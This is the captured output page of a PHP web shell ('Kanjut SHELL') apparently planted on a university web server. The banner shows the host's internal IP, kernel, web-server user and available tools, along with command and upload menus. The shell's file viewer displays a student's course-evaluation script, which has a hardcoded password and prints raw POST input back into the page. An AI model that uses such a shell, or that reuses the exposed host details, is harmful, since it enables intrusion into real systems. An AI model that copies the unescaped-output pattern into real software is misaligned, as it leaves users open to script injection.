Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.144.46.90
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/wrlainezmolina/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/wrlainezmolina/www/courseEvalSesh3.php
<!--	courseEvalSesh3.php  -->

<?php   session_start();        ?>

<?php
        $pass = $_SESSION['psw'];
        if($pass != "ch7hw") print "Go away.";
        else
        {
?>


<CENTER>
<FONT color=blue size=4>
<H2> Course Evaluation Results </H2>
<HR>

<?php
        $qu1 = $_POST['q1'];
        $qu2 = $_POST['q2'];
	$qu3 = $_POST['q3'];
        $qu4 = $_POST['q4'];
	$text = $_POST['TextBox'];
        $n1 = $_SESSION['v1'];
        $c2 = $_SESSION['v2'];
	$g1 = $_SESSION['v3'];
        $g2 = $_SESSION['v4'];

	print "Your Name is: $n1<p>";
        if ($g1 == "s1")
        {
                print "Your Gender is: Male<P>";
        }
        else
        {
                print "Your Gender is: Female<P>";
        }
        if ($g2 == "s1")
        {
                print "Your Grade is: Freshman<P>";
        }
        else if ($g2 == "s2")
        {
                print "Your Grade is: Sophomore<P>";
        }
        else if ($g2 == "s3")
        {
                print "Your Grade is: Junior<P>";
        }
        else
        {
                print "Your Grade is: Senior<P>";
        }

        print "Your Course is: $c2<p>";



	print "<HR>The results of the Evaluation are as follows:<P>";
        if ($qu1 == "s1")
        {
                print "You strongly agree that the class is fun!<P>";
        }
        else if ($qu1 == "s2")
        {
                print "You agree that the class is fun!<P>";
        }
        else if ($qu1 == "s3")
        {
                print "You do not agree that the class is fun.<P>";
        }


        if ($qu2 == "s1")
        {
                print "You strongly agree that coding is fun!<P>";
        }
        else if ($qu2 == "s2")
        {
                print "You agree that coding is fun!<P>";
        }
        else if ($qu2 == "s3")
        {
                print "You do not agree that coding is fun.<P>";
        }

	
        if ($qu3 == "s1")
        {
                print "You strongly agree that the Homework takes too long to do<P>";
        }
        else if ($qu3 == "s2")
        {
                print "You agree that the Homework takes too long to do!<P>";
        }
        else if ($qu3 == "s3")
        {
                print "You do not agree that the Homework takes too long to do<P>";
        }


        if ($qu4 == "s1")
        {
                print "You strongly agree that the class is hard.<P>";
        }
        else if ($qu4 == "s2")
        {
                print "You agree that the class is hard.<P>";
        }
        else if ($qu4 == "s3")
        {
                print "You do not agree that the class is hard.<P>";
        }

	print "Your comments were:<P> $text";

?>

</FONT>
</CENTER>

<?php
	}
?>

Stv3n404 - 2023